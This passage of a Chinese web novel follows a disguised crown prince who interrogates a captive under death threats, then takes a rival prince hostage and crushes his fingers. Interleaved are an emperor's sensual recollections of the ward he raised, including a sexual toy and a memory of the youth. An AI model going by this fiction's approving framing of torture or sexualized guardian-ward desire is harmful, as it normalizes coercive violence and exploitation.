魏伯贤如期而至。 老道士已经被明瑾几人联手忽悠出门了,明瑾还提前给了他常去的酒楼掌柜一笔钱,确保他这次能喝个痛快, 至少傍晚前都不会回来。 没了打搅的人, 计划顺利进行, 谢婉南带着魏伯贤进了道观,照旧在天尊像前上了香。 她正思索着, 接下来该如何开口套话, 就听魏伯贤说道:“魏某有一事不解,不知仙姑可否为在下解惑?” 谢婉南听出他语气不似上次热络,眉头微蹙,但表面上仍旧一派淡定:“居士请讲。” “那日魏某回去后,曾向城中居民打听过, 所有人都说, 这处黄龙观内, 只住着一位道号为‘黄龙老人’的老道士, 当地人时常看见他独自上街沽酒买菜,身边并无他人作陪。” 魏伯贤转过身来, 紧盯着谢婉南的双眸,喝问道:“请问仙姑,究竟为何要骗魏某?!” 不可否认,被他厉声这么一吓, 谢婉南的确心跳错了一拍。 但她很快想起来,魏伯贤不可能查到她跟着明瑾一起进城的事情, 因为他们的行李包袱早就丢了,是靠明光寨的人帮忙伪造身份,偷渡进城的。 再者说, 明瑾离家出走,为了保证他的安全,陛下肯定会帮他遮掩,魏伯贤没了魏家做依仗,孤身一人在外,即使投靠了郑家,消息也远不如从前在京城时灵通。 所以,他八成是在诈自己! 躲在一旁的明瑾也听出来了其中门道,但他不知道谢婉南能不能及时反应过来,屏住呼吸,握紧手中的棍棒,给陈叔山使了个眼色,打算若是看情况不对,第一时间冲出去把人护住,将那姓魏的一棍棒敲翻,捆起来慢慢审问。 ——虽然有打草惊蛇的嫌疑,但一时半会儿的,他们也没有更好的办法了。 还好,谢婉南没有让他失望,只是淡淡一笑便应付了过去:“魏居士说笑了,贫道一介弱女子,只身在外,潜心向道,难不成,还要宣扬得满城人都知道吗?” 她转过身,一副有打算送客的姿态:“魏居士今日的敬香已毕,既然如此……” “且慢!”魏伯贤忙道,“仙姑赎罪,是魏某唐突了,请仙姑切莫怪罪,魏某也是不得已而为之。” 他一番好说歹说,又是行礼赔罪又是道歉的,这才勉强叫谢婉南的脸色好看了些。 明瑾本以为她要开始进入正题了,谁知道,谢婉南用三言两语便将人打发走了,说魏伯贤心不诚,之后便不必再来黄龙观了,还是魏伯贤苦苦哀求,这才争取到了一个明日再来敬香的机会。 待他走后,谢婉南扭头望向面色呆滞地从天尊像后钻出来的二人,不禁笑道:“你们怎么这样一副表情?” 明瑾敬畏地看着她——没想到这位妙龄少女竟拥有如此高超的手段!不仅几句话便反客为主拿回了主动权,还把魏伯贤玩弄于股掌之上,实在是…… “请务必教教我。”他恳切道。 但他绝对不是想把晏祁玩弄于股掌之上,只是单纯想要拜师学艺,想要知道如何叫人对自己死心塌地。 嗯,除此之外,绝对绝对没有其他的想法。 谢婉南笑眯眯道:“这有何难?对付男人太简单了,他们想要什么,就别给什么,但同时必须要表现出你有,就算再没底气,也要装出有底气的样子。” 明瑾忍不住道:“听你这形容,怎么感觉像是弄根萝卜吊在毛驴前面,只给看不给吃?” 谢婉南欣慰颔首:“没错!就是这个道理,恭喜,你出师了。” 明瑾干笑一声,忽然想起了那天晚上自己干的好事,似乎,一不小心踩中了谢婉南所说的全部点。 可先生那时候的表现,明明很生气啊。 “路还要多久才能打通?” 望着前方被大雪覆盖的道路,晏祁站在破败的屋檐下,呼出一口白气,语气平静地询问边上的将士。 “陛下,若是大雪一直不停,按照这个趋势,起码还要十日。”那将士有些忧心忡忡,“今年冬天天太冷了,滚水泼上去,没多久就会结冰,等隔夜一上冻,原本清理出来的路又毁了一半。” “那若是绕开官道,走山间小路呢?” 那将士神情一凛,当即单膝下跪道:“陛下,请您三思!这种天气,山里冬眠的熊都要被冻醒,饿红了眼,可是什么都吃的,而且万一迷了路,您乃千金之躯,不可轻易犯险呐!” “只是问问而已,”晏祁也知道厉害,不会为了一时的情绪耽误了大事,“叫下面人加紧打通道路,你另派一支队伍,绕道前往太宁仓,无论如何,太宁仓不可有失,否则朕定不会轻饶了你。” “是!” 将士领命离开,随行的内宦见他们谈完了事情,连忙拿来一件狐裘披在晏祁身上,絮叨道:“陛下,您可要爱惜身子啊,太子吉人天相,定不会出什么事的。您不都收到他派人寄来的信了吗?” 和前几日的阴云密布不同,今天虽然外面依旧风雪大作,晏祁唔了一声,心情却明显晴朗了许多。 究其原因,自然是因为那封由明光寨的人准备送到京城的信。 说来也是幸运,要不是这两天雪下得太大,城里的人都出不去,他也不会滞留在当地客栈里,无聊之下只得跟人喝酒吹嘘;如果他不是牛皮吹上天,说自己的兄弟的兄弟是在给皇帝当差,他这次是要回京给皇帝送信,也不会被恰好路过的士兵听见并留意,还一路上报到了晏祁这儿。 只是,为何又是那姓张的小子? 晏祁现在只要听到那姓张小子的名姓,就有种莫名的恼火。 他把这归结为看到自家孩子被坏小子拐带的正常现象,并再次狠狠在心里那本小册子上给那个小混蛋记了一笔。 这场雪,还不知道什么时候会停,他仰头望着灰霭沉浑的天空,抖了抖狐裘上沾染的飞雪,思绪飘忽不定。 每次看到这样的天气,晏祁总是会回忆起在北地的那几年苦寒日子,心情也不自觉地低落暗淡。 但这一次,却不同于以往。 候在旁边的内宦见陛下望着天空出神,不知想到了什么,唇边勾起弧度,试探着插.了句话:“太子殿下,应当还不知道陛下已经来了这里吧?” “嗯。” 要是叫他知道,那还得了? 晏祁太了解明瑾了,虽然这小混蛋做事勉强还算分轻重缓急,知道遇到大事得向他写信求助,及时调兵防止延误军机。 但大军压阵前的那一晚上,以他的性格,肯定睡不着觉,担心自己狠狠罚他,八成会连夜卷铺盖逃跑。 晏祁扪心自问,自己这次会心软吗? ——不可能。 明知故犯,罪加一等。 气氛和恼怒之余,晏祁却也不得不承认,自己对那个小混蛋的思念也在与日俱增。 自打明瑾十二岁那年,两人重逢后,他和那孩子,从来没分别过这么长的时间。 年轻人,总是一岁一风貌。 晏祁都快想不起自己十八岁是什么模样了,但明瑾从小到大的每一点变化,他都记忆犹新。 以致于就连他自己都忍不住觉得,明瑾那一声声“老流氓”骂得的确没错,他总是顾虑太多,试图用伦理道德束缚自己,可到头来,还是抵不过内心的渴望。 甚至就连这层枷锁,也是他强加给那孩子的。 他与明瑾缘分的起始,是在宁昭公主将他抱出村落废墟的那天,可归根结底,他们原本是这世上毫无关系的两个陌生人。 他想要明瑾成为下一任君主,想要让他当太子,想要让他唤自己父皇,这些都在他的推动下实现了; 而明瑾想要的很纯粹,至始至终,只有一样,却被他用尽各种方法和借口阻挠,这么多年来,也算是苦了那孩子。 想到这里,晏祁甚至都开始理解明瑾的出格举动了,若不是他叛逆这一把,估计自己这辈子都不会想通这一点。 己所不欲,勿施于人。 虽然有些事情,尽管不愿,出于责任也必须要去做,但人生苦短,明瑾既然愿意为了他妥协,那他为何不能也放纵自己一把,与所爱之人相伴余生呢? 北风朔朔,晏祁转身进了屋,叫人给外面疏通道路的士兵们送些热乎吃食,又挥退内宦,独自坐在炭火盆边,凝视着那烧红的木炭许久,从床下摸索出了一个木匣。 这里面装着的,都是多年来他与那孩子相处的点点滴滴。 有第一次去明府拜访时,明瑾给他爬上树摘下的果子,那么多年过去,早已晒干发黑,依稀能看出原来的形状;有教明瑾下棋时,这孩子耍赖偷藏起来的棋子;还有…… 晏祁拿起那块平安锁。 男人微颤的指尖,轻轻拂过上面的平安如意四字。 它的全名是坠铃鎏金玉麒麟长命锁,明瑾的那块,几乎与他一模一样。 晏祁最常见到它的时候,是春夏季节,少年只穿着一件鸳鸯肚兜,露出藕白的纤瘦胳膊和腿脚,懒洋洋地躺在床上、躺椅或是院中的凉席上,手里捏着把蒲扇,有一搭没一搭地扇着风。 念远心如烧,不觉中夜起。* 屋外大雪纷飞,晏祁呼出一口白气,伸手将炭盆挪远了些。 他的指尖捏起木匣里最后一样,也是他当时不知是出于何种心态,才鬼使神差收纳进去的,那枚曾经叫明瑾挨了一顿胖揍的缅铃。 指尖温热,缅铃嗡嗡震动起来,幅度不大,却叫晏祁想到了明瑾那时委屈含泪,咬牙看向自己的模样。 孩子大了,不能老打屁股。 晏祁把缅铃放回木匣,修长双手轻轻按在其上。 他神情平静地想: 是该换种惩罚方式了—— 作者有话说:希望下章能写到重逢[墨镜] 第79章 给他一个痛快吧! 谢婉南的几番欲擒故纵之下, 魏伯贤很快上钩,不仅日日前来道观敬香,还把她当成了自己的他乡知己。 都不必谢婉南多费什么心神, 魏伯贤就主动向她吐露了不少秘密。 但最关键的、太子与郑氏接下来的打算, 他却一直守口如瓶, 只信誓旦旦地说,让谢婉南等着他, 待到他与太子还京正名的那一日, 定会亲自登门去解家,明媒正娶,将她用八抬大轿抬回魏家。 “我真的快受不了了,”再一次送走这人后,谢婉南向明瑾和陈叔山大倒苦水, “我也没做什么叫人误会的事吧?” “也不知道谁给他的脸, 只是好声好气讲了两天客套话, 他怎么就觉得我对他有那方面的意思了?都跟他说了八百遍, 我已经出家了!出家了!结果还是一副‘我懂我懂,你只是没遇到疼爱自己的男人’的恶心样子, 真想一拳揍歪他的鼻子!” 咣当一声,谢婉南一巴掌拍在天尊像前的供桌上,震起阵阵香灰。在场的明瑾和陈叔山身躯一震,赶忙离这位姑奶奶远了些。 自打在明光寨住过一段时间后, 她现在的行事作风也带上了些北地的豪爽习气,明瑾倒不觉得一个姑娘家, 在外表现彪悍些有什么不对,他只是有点,呃, 轻微的不习惯。 毕竟在跟他们出来前,谢婉南虽然性格不羁,但说话好歹也是轻声细语的呢。 “见谅,我这也是被那听不懂人话的混蛋逼的,”谢婉南揉了揉手腕,终于消了气,“看来他比魏金宝要有点脑子,太子殿下,您说该怎么办吧?” 明瑾皱起眉头,巧妇难为无米之炊,若不是这场突如其来的大雪,他们也不至于这么被动。 “出太阳了。雪应该快停了,少爷。” 陈叔山走到外面看了一眼,回头对他说。 明瑾眼前一亮,他快步走到屋外,看着时隔多日再度照耀大地的冬日暖阳,伸出手,接下了一片飘落的雪花。 陈叔山见他表情变幻莫测,似乎还在犹豫,再添了一把火:“少爷,前段时间郑氏一直在城内招募青壮,说是修缮祖宅,但今日上街时,我打听了一圈,他们都说不再招人了。” 谢婉南也看着他,笑了笑:“放手做你想做的吧,我会照顾好自己,不会拖累你们的。” “好。” 这一次,明瑾终于下定了决心,他猛地收拢五指:“等明日姓魏的再来,就先把他拿下!” 他们前面铺垫了这么多日,差点还让谢婉南陪聊聊出工伤来,就是为了叫魏伯贤和他身边的人放松警惕,方便下手。 果然,第二天魏伯贤一大早便兴冲冲地来了,刚进道观,就被躲藏在门后的陈叔山一闷棍打晕,连声儿都没吭,就一头栽倒在地。 “干得漂亮!” 明瑾跟陈叔山击了一下掌,拿出早就准备好的麻绳,利索地将人绑了个结实。 谢婉南还趁机踩了他两脚,狠狠出了憋在心里的一口恶气。 “舒坦了。”她满意地拍了拍手,看着明瑾和陈叔山把人搬到道观存冬菜的地窖里,点上蜡烛照明,又拿了块湿帕子盖在魏伯贤的脸上,把人冻醒过来。 不直接浇水的原因可不是他们有道德,而是郑城冬天太冷,要是真浇上去,只消半个时辰,魏伯贤就可以笔直抬走了。 “咳咳!什——婉南!!?” 魏伯贤被一阵刺骨的冰凉从昏睡中冻醒,呛得撕心裂肺咳嗽了几声,后知后觉地发现自己被五花大绑,周围一片昏暗只有一根烛火照明,也不知道身处何处,一颗心霎时凉了。 抬头时看见站在不远处的谢婉南,他不可置信地瞪着对方,神情悲愤惊怒,一时竟忽略了边上站着的明瑾和陈叔山。 明瑾起初诧异,后来想了想,倒也觉得不奇怪。 魏伯贤离京早,没去看那场蹴鞠比赛,就算从前在书院见过自己,也不会放在心上。 估计他以为自己只是谢婉南找来的帮手吧。 “喂,兄弟,往这儿看,”他蹲下来,很有土匪作风地拍了拍魏伯贤的脸颊,“人家姑娘对你没那个意思,下辈子注意点,可别再自作多情了,听到没?” 这一通操作,成功把魏伯贤的注意力转移了,他咬牙问道:“你们到底是什么人?晏祁派来的探子吗!” “陛下的名字,也是你配叫的?” 陈叔山一脚踹翻了他,魏伯贤痛呼一声,倒在地上蜷缩成一团,嘴里还不住地骂骂咧咧,陈叔山脸色阴沉地还欲再踹——说起来,他与魏家和太子都结过梁子呢,但被明瑾一把拦下了。 “少爷?” “稍安勿躁,”明瑾宽慰道,“这些京城的公子哥儿身体都虚的很,可别被你一脚踹断气了。而且你没看出来,他是在故意激怒我们吗?” 陈叔山一愣,倒在地上的魏伯贤闻言倒是有了反应,他转过头来,死死瞪着明瑾:“看来,你才是主谋了!” “恭喜你,猜对了,但没有奖励。” 明瑾重新蹲下,慢斯条理地掸了掸他衣襟上的灰尘,魏伯贤有心想躲,奈何后背已经抵在了地窖的墙角,他又被五花大绑,根本无处可逃。 “太子打算什么时候动手?”他直截了当地问。 魏伯贤面色苍白,他深深地看了明瑾一眼,忽然闭上了眼睛。 “你杀了我吧。”他说。 明瑾笑了:“怪不得魏相最后会选择弃车保帅,你这个长子,的确比魏金宝那蠢货要强上不少。” 魏伯贤霍然睁开双眼:“你到底是什么人!” “我是什么人,不重要,重要的是你接下来做出的决定,”明瑾直截了当道,“现在京城魏家上上下下几百号人都在我手里,包括你弟弟魏金宝,你们魏家,冒这么大的追随太子,不就是为了重振家族吗?” “若是你现在坦白从宽,魏家至少还能留下一丝血脉,你要是执意不说,那我现在把你一刀抹了脖子,回去就将你魏家满门抄斩,连条狗都不留。” “是生是死,你自己选吧,我只给你三息时间考虑。” 魏伯贤的嘴唇哆嗦着,额头冷汗涔涔,但明瑾铁石心肠,直接开始了计数:“三……” “等等!你等一下!先让我考虑考虑!” 见他竟然真的只给三息时间,魏伯贤顿时慌了。 “二。” 明瑾才不会真的给他慢慢思考的时间,晏祁教过他,与人博弈,要的就是先让对面乱了阵脚。 “……一。” “看来魏公子是打算杀身成仁了,在下佩服!”明瑾感慨了一声,直接后退两步唤道,“给他一个痛快吧!” 陈叔山杀气腾腾地抄起菜刀:“是,少爷!” “等等!我说!我说!!!” 魏伯贤绝望地喊道。 看着烛光下陈叔山凶神恶煞的神情,还有他手里那把寒光凛凛的菜刀,他竟吓得都尿裤子了,一股尿骚味弥漫在封闭地窖内,谢婉南嫌弃地捂住了口鼻,忙不迭地跑出去透气了。 “识时务者为俊杰,早这样不就好了。” 明瑾也很是嫌弃,但表面上,他仍是一副笑眯眯的样子:“既然魏公子愿意配合,那就太好了,咱们长话短说吧。” 魏伯贤被他突然的变脸梗了一下,仍是不死心:“我说可以,但你得先告诉我你的身份。要是我说了,你又反悔怎么办?” 明瑾佯装吃惊地看向陈叔山:“你听到他在说什么了吗?” 陈叔山勾唇一笑:“听到了少爷,听得清清楚楚。阶下囚居然还敢跟咱们谈条件,我看他是活腻歪了!” “那人就先交给你了,我也出去透口气,待会儿在进来。” 明瑾果断起身离开,不顾魏伯贤在后面撕心裂肺的呼唤和惨叫,他走到地窖外,在朔风扑面吹来的那一刻,明瑾脸上一切尽在掌握中的神色瞬息便冷了下来。 “怎么了?”谢婉南担忧道。 明瑾沉默许久,低声道:“就算按最快的速度来算,那封信送到京城,先生点兵赶来也至少还要五六日的功夫,这还是中途没有发生任何意外的情况下。” 但从魏伯贤今日的反应来看…… “我们没有时间了。”他说,“恐怕太子那边,很快就要动手。” “那该怎么办?”谢婉南惶然道,“咱们只有三个人啊!就算加上明光寨的那些人,也不过是螳臂当车,更何况,他们现在是匪徒,肯定不会愿意与叛军殊死搏斗的。” 明瑾没有第一时间回答她。 他的大脑飞速转动,曾经与晏祁在风亭中下过的无数盘棋,棋盘上黑白纠葛你死我活的厮杀,变成了如今以江山为赌的天地局。 若是先生,他会怎么做? “事到如今,只有冒险一搏了。” 无论如何,太宁仓绝不能失守—— 他果断道:“擒贼先擒王,必须要抓住太子,这局棋才有翻盘的可能!” “少爷,可以进去问他了。” 陈叔山沉着脸走出来,谢婉南递过来一块帕子,他低声谢过,但还是先去一旁的水桶边洗去了指缝间的鲜血,这才用帕子擦干了手指。 “你想用魏伯贤钓太子?”谢婉南只瞥了一眼,就脸色苍白地移开了视线,这画面对她来说还是有些过于刺激了,她定了定神,把心思专注于和明瑾的讨论上,“这分量,似乎有些不够吧。” “是不够。” 明瑾淡淡道:“这世上,有且只有一个人,能叫晏璋百分百上钩。可惜,那个人已经死了。” “但在某些时候,他也可以活着。” 谢婉南被他宛如天方夜谭般的构想震惊到了,呆立在原地,许久说不出话来,倒是陈叔山默默地站在一旁,他静静凝视着明瑾的侧脸,少年思索时下意识紧皱着的眉头,和那双临危不乱的漆黑眼眸,总是让他幻视起京城中的那一位。 不愧是陛下亲自带大的孩子。 从少爷身上,真是处处都能看见陛下的影子啊—— 作者有话说:捋了捋剧情,下章争取多写点[狗头] 第80章 【一更】 替我跟他说声抱歉 “你的想法……很大胆, ”谢婉南许久才找回了自己的声音,她看着明瑾,“可是, 要怎么执行?” 太子经过一遭变故, 只会比魏伯贤更加谨慎, 而且他们只有三个人,怎么才能叫对方相信, 原本早已死去、连尸体都被烧成焦炭的先帝, 竟一朝复活出现在距京城千里之外的郑城? 明瑾不答,只是扭头问陈叔山:“这姓魏的身上,可有什么能代表他身份信物?” 陈叔山愣了一下,等反应过来后立刻回答道:“有的,我看他腰侧别着一枚鸾鸟翠玉佩, 这是魏家话事人的象征, 当初魏金宝那厮也有一枚。少爷若是需要, 属下这就替您取来?” “麻烦了, ”明瑾颔首,又对谢婉南道, “婉南,我记得你馆阁体写的不错?这样,我来讲,你来写。” 心腹干将的贴身信物, 再加上一些只有皇室内部才知晓的秘闻,明瑾认为, 应该有六成把握将太子引来。 晏珀虽死,但太子那时并未亲眼目睹,毕竟就连他自己, 也是个在外界眼中早已死去的人。 既然如此,那为何晏珀不行? 而这件事,若是交由他人求证,第一未免有怠慢父皇的嫌疑,第二则是以太子的性格,肯定只有他自己亲自确认过了才会放心。 “那要是太子不上钩,怎么办?”谢婉南写好了信,盯着上面规整的墨迹,仍有些忧心忡忡。 “那便也只能尽人事,听天命了。” 明瑾沉默了一会儿,忽然释怀一笑,从怀中掏出自己一直随身携带的平安锁,交到了谢婉南的手中。 见她似乎着急想说什么,他开口打断道:“别着急拒绝我,婉南,这一路上你已经帮了我们不少忙了,但你应该也清楚,接下来我们要做的事情,你掺和进来是起不到多少帮助的。” “我想拜托你最后一件事,”他恳切道,“要是万一……可不可以,帮我把这个交给先生?顺便帮我给他带句话,就说……” 说什么呢? 明瑾也没有想好。 但总要说些什么的,于是他叹气道:“就替我跟他说声抱歉吧。” 自己对不起他那么多年付出的心血,离开前还那样对他,着实辜负了先生对自己的一番谆谆教诲。 生死面前,明瑾甚至觉得,爱不爱的,都不那么重要了。 如果可以的话,他最想要的,其实只是再见晏祁一面。 “报——” “陛下,前方道路已经完全打通了!” 正披衣坐在炉火前查看边境地图的晏祁霍然抬首,他立刻站起身,就连肩头的披风悄然落地也丝毫没有察觉。 他沉声命令道:“传令全军,即刻出发!” “是!” * “伯贤传来的紧急消息?” 太子一边咳嗽,一边接过密信,脸上原本漫不经心的神情,在看完信件的内容后,霎时变得五彩纷呈。 “怎么……怎么可能!?” 他失声叫道。 见他如此失态,一旁的郑家家主郑徒、同时也是太子岳丈不禁皱眉:“殿下,发生了何事?” 明日便是他们约定好的起兵时间,在这个节骨眼上,无论发生什么事都容易叫人神经紧张,郑徒紧盯着太子,生怕他一张口就说出什么坏消息来。 但太子紧接着的话,几乎已经超出了他的理解范畴。 “什么叫陛下可能没死?” 郑徒惊得当场站了起来,双手颤抖地夺过晏璋手中的信飞速看了一遍,神情变幻莫测,但整个人倒是勉强冷静了下来。 “殿下,可能有诈,”他分析道,“此人写信时用的是馆阁体——若真是先帝,为何不亲自写封书信,也好叫您辨认出字迹?” 晏璋沉默片刻,缓缓道:“有可能。但也有另一种情况,就是父皇现在,难以握笔,或是被人监视,只得通过口述,叫他人传讯给我们。” 郑徒连连摇头:“殿下,这不重要,先帝就算没死,毕竟也……年事已高,您才是大雍未来的正统!待您还于旧都,自可放心把先帝接回宫中奉养,现在的话,还是置之不理为妙。” 晏璋也不想管啊。 但郑徒不知道的是,他父皇哪里是在跟他倾诉思念之情?哪里是在担心他蜗居在西北偏僻小城? 明明就是在威胁他,要是他不管自己,就向晏祁告发自己和郑氏的勾当! 这说起来荒谬,哪里有父亲会帮着仇人害自己亲儿子的? 但太子偏偏真就有这样的担心——究其原因,还是晏珀当初给他留下的心理阴影,实在是太深了。 他们父子之间的关系,旁观者只知其一,不知其二。 晏珀生性多疑,多年来对待他们两个儿子以及宁王,可以说是刻薄寡恩,甚于防川。 甚至太子觉得,有时候相比起对宁王,他的好父皇对待他们两个还要更加提防些。 假使晏祁不是夺了自己的位置,太子恨不得为那老头子的死拍案叫好呢! 但他嘴上却犹疑道:“父皇若身陷囹圄,身为儿子,怎能坐视不管?不如这样,我按照上面所说的地址,亲自去接父皇一趟。” 他抬手阻止郑徒焦急的劝说:“岳丈不必担心,区区一座破道观,就算有诈,里面能藏多少人?您带着人守在外面就是,叫那些宵小之徒插翅难飞。” 但郑徒还是颇为担忧,认为太子不该以身犯险,苦口婆心地劝说他不要亲自过去,还说要先把魏伯贤招来询问一番。 晏璋觉得也有道理,就先派了人到黄龙观找魏伯贤。 那人很快便回来复命了,说魏大人一直在衣不解带地照顾一个躺在床上的男人,那位看上去老得厉害,须发花白,好像还糊涂了,一直抓着魏大人的手说他有天子命格,把魏大人吓得都哆嗦得说不出话来了。 “一定就是父皇了!”晏璋肯定道。 他在内心阴暗道,只有那个老头子,都病得快死了,还惦记着他的皇位不撒手,想着用这一招试探身边人呢。 “小子,可以了吧?” 等那人走了许久,躺在床上的老道士突然一骨碌翻身坐起,动作利索得像是个二八小伙。 “可以了可以了,”明瑾鼓掌,“道长果然演技精湛!” 老道士得意地哼了一声,又瞥了眼地窖的方向,出乎明瑾的意料,竟没有多问关于魏伯贤的事情,只是懒洋洋地打了个哈欠:“老道这几日都准备夜宿王寡妇家,小子,你们自己折腾去吧,只要别把我这道观折腾塌了就行。” 明瑾微微一怔,随后正色朝他行了一礼:“多谢道长,大恩不言谢,待此事了了,在下必有重谢。” “放心,贫道届时可不会跟你客气!” 望着老道士大摇大摆离去的背影,明瑾的唇角露出一丝转瞬即逝的笑意。 他仰头望着再度被灰云遮蔽的天空,和秋日的辽阔晴爽不同,冬日北方的天,连云都是浊白的。 北风阴郁地掠过街道,带来砭骨的冷意。 明瑾忽然格外想念起了身在江南的爹娘晴儿他们,还有阿囡,也不知道她现在和家人相处得如何了,他的内心微微有些担忧,觉得自己那时应该再多待个两三日,陪陪她再走的。 “少爷。” 陈叔山走到他身后,轻唤道。 明瑾呼出一口白气,头也不回道:“抱歉,这次可能要连累你了。” 说是六成的把握,其实他只是为了安慰谢婉南,如此冒险大胆的举动,就算明瑾一直主张富贵险中求,这次也觉得未免有些太过了。 他真正的把握,其实不足三成。 “少爷说的什么话?”陈叔山似乎是笑了一下,“我早就发过誓的,会保护少爷一辈子,就算是死,也会死在您前面。” 明瑾垂眸,盯着院中尚未清扫干净的积雪,眼睛有些发酸。 “是我太任性了,”他低声道,“要是我多带些人来,或是路上更小心些,就不会出现这样的情况。” “少爷为何要自责?咱们可是赶了个正巧呢,再晚两天,郑城和太宁仓说不定就都易主了。” 陈叔山把手搭上他的肩膀,“当初那场拍卖会上,少爷的出现叫我明白了,何为天不绝人之路。事情定会有所转机的,放心吧。” “……承你吉言。” 虽然说是听天由命,但该尽的人事,还是必须要尽的。 明瑾和陈叔山通宵未眠,一晚上都在道观内准备接下来要用的东西,待到次日太阳升起,终于在观外迎来了等待许久的客人。 “我父皇呢?” 太子脸色苍白,穿得很厚,身形比明瑾几次见面时都要更加消瘦,一双漆黑眼眸竟显出了几分阴鸷的味道。 看来,那一场大病到底还是伤到了他的根本。 “还有,”他的目光移动到明瑾身上,语调沉沉道,“藏头露尾,你在打什么鬼主意?” 明瑾穿着一身黑衣,黑纱遮面,只露出一双眼睛来——他暂时还不能叫太子发现自己的身份,因为太子这次并非按照信上所写的,单独前来,而是带了不下百余号好手,其中甚至还包括了郑氏现在的家主,就是那位正紧皱着眉头盯着自己的老者。 最坏的情况,他想。 但木已成舟,现在也只能硬着头皮上了。明瑾深吸一口气,压低声音,低头道:“陛下在观内静养,你们人太多了。” 他选择先发制人,质问对面,掌握主动权。 就凭他们两人,那么大的道观肯定守不住的,所以只能依靠地窖和太子这个重要人质,牢牢把守住出入口,才能有一线生机! “摘下你的面罩,”郑徒冷冷道,“至于里面那位,是不是真的陛下,我们自有定夺!” 明瑾只是冷笑一声,丝毫没有搭理他的意思。 他的视线落在太子身上,淡淡道:“诸位的回应,我会向陛下如实禀报的。” 说罢,转身就要入观,却被横斜里插过来的一只手拦住了。 “什么意思?” 太子微微一笑:“不劳这位小兄弟了,孤自会亲自向父皇禀报。岳丈,咱们进去吧。” 郑徒刚抬起脚步,就又被拦住了。 “你!” “我说过,只有太子一人能进。”明瑾分毫不让,把郑徒气得吹胡子瞪眼,当即就要叫人来把他拿下,太子赶紧阻止道:“岳丈消消气!只是暂忍片刻而已。” 他附耳低声同郑徒说了几句话,然后朝明瑾道:“走吧,孤同你进去。” 郑徒冷哼一声,站在原地没有再动弹,但神色相当不善地瞪了一眼明瑾。 他叫人把道观的前后门全部牢牢把守住,就连院墙外,也每隔十步都安排了一位岗哨,确保这里连一只苍蝇都飞不出去,这才强迫自己耐下性子,抱臂站在门口等待起来。 半个时辰过去了。 郑徒神色逐渐不耐。 一个时辰过去了。 郑徒脸色黑沉,正要不顾明瑾的阻拦大步向前,就被他再度拦下了。 “你到底有什么企图!”他忍无可忍道,“这都快一个时辰了,陛下就算有话要和殿下讲,也早该讲完了吧?” 明瑾故作犹疑,和他对视一眼,似乎是服软了:“我进去替你看看吧,稍等。” 郑徒恨声道:“你最好是快些!” 然后他就这样又在门口干等了足足一个时辰。 眼看着那黑衣人一去不复返,而此时时间都已过晌午,郑徒再迟钝也该察觉到不对了:“来人,给我进去搜!” 一群人呼啦啦地冲进道观,四处翻找,把明瑾新开垦的院子踩得稀巴烂,连水缸都砸了几个,终于,有人喊道:“大人,这里有个隐藏的地窖!” 郑徒立刻快步赶过去,听那人结结巴巴地说道:“入、入口这里,还有一封信,大人,好像是给您的。” “信?” 郑徒接过来一看,勃然大怒。 “狂徒大胆!”他骂道,“竟敢绑架太子威胁老夫——来人,给我把这地窖撬开,老夫要将他们碎尸万段!” “呜呜呜呜!” 几人刚费劲地拿来石锤,想要砸开地窖大门的锁,就听里面传来一阵沉闷的嘈杂动静,像是有人在呼救。 “殿下!”郑徒顿时慌了,阻止他们,撅着屁股仔细贴在门上听,一边听还一边喊,“殿下您还好吗?里面的鼠辈给我听好了,若是殿下有个什么万一,老夫一定将你们抽筋拔骨!” “有本事你就进来,”明瑾喊道,“看看是你先弄死我们,还是我们先弄死晏璋!” 郑徒气得半死,奈何投鼠忌器,也不敢太放肆,只能先放了两句狠话,同时偷偷叫人去准备稻草点燃,想要把地窖里的人用烟熏出来。 奈何里面的混账就跟他肚里的蛔虫一般,还特意高声喊道:“要是想用烟熏火烧,或是水淹等办法逼我们出来,劝你最好死了这条心!” 明瑾一脚踩上晏璋的手指,任由太子发出一声撕心裂肺的惨叫,目光沉沉地盯着地窖入口处的一线天光,一字一顿道: “我等贱命一条,且都是陛下的死忠,生死不惧,放心,你要是敢踏入这地窖半步,或是想要逼我们出来,在我彻底失去意识前,一定会让金尊玉贵的太子殿下,与我等共赴黄泉!”—— 作者有话说:想了想还是准备拆成两章发,今晚还有二更,大家可以明早再来看~ 小明同学豁出去了,罪加一等再+1《 》 80-90 第81章 【二更】 浸染着风雪气息的怀抱…… 听着地窖内的阵阵惨叫声, 郑徒惊怒交加,却也无可奈何。 最后他只得暂且先答应明瑾的要求,叫人撤去了稻草, 只派人守在外面, 又叫来幕僚商议对策。 “我们人多势众, 大不了,熬也把他们熬死!”他咬牙道。 “大人, 这办法估计行不通, ”幕僚眉头紧锁,“太子殿下刚刚大病初愈,这地窖阴冷,又缺吃少喝的,怕不是熬不过那几个身强力壮的歹人。” “是极, ”另一位幕僚也点头应和, “既然他们是绑架殿下而非直接杀害, 不如先问问他们的要求, 咱们再随机应变。” 郑徒觉得他们说得有理,于是便回到地窖的入口处, 问明瑾到底有什么要求,说出来他们都可以尽量满足,但要求就是不能伤害到殿下。 虽然按照这歹人的说法,魏伯贤也在地窖内, 但身为太子岳丈,郑徒现在对于这助纣为虐的混蛋半点营救的想法也没有, 甚至恨不得他当场暴毙才好。 要不是他,殿下也不会…… “要求?我的要求就是你们现在立刻退到道观外面,然后我们再来谈要求。”明瑾的声音打断了他的思绪, 郑徒心中恨得要死,但表面上仍是好声好气地商量:“你们要是需要什么,不如直接告诉我们……” “少废话,按我说的做,否则免谈!” “这混账——” 郑徒险些破口大骂出声,幸好,最后还是被他强压了回去。 “大人,怎么办?” 他脸色阴晴不定,最终,大手一挥:“按照他们说的做!反正跑得了和尚跑不了庙,我倒要看看他们还能闹出什么名堂!” 听到外面远去的脚步声,陈叔山稍稍放松了绷紧的身体,他担忧地望向明瑾:“少爷,我们真的要和他们谈判吗?” 明瑾回头看了一眼角落里早已疼得昏死过去的太子,还有被堵住嘴巴、惊恐望向他们的魏伯贤,虽说他们是绑匪和始作俑者,可面对眼下的境地,明瑾心中只余满腹沉重。 “谈判,也要有筹码才行。” 陈叔山不解地看向角落里的二人:“他们不就是筹码吗?” 明瑾摇了摇头,并没回答他的问题,只是靠着墙边坐了下来,手中仍紧紧握着刀具:“先休息会儿吧,虽然不知道究竟能拖延几日的功夫,但地窖里储备了足够的水和粮食,捱过半月应该不成问题。” 就是等到晚上降温时,日子可能会比较难过了。 不过地窖冬暖夏凉,倒也不必担心冻死,明瑾阖上双眸,脑袋靠在墙壁上闭目养神,知道对于现在的他们来说,最大的难关从来不是天气,而是围在外面的那群人。 至少,太子明日肯定是不可能出兵了,他宽慰自己。 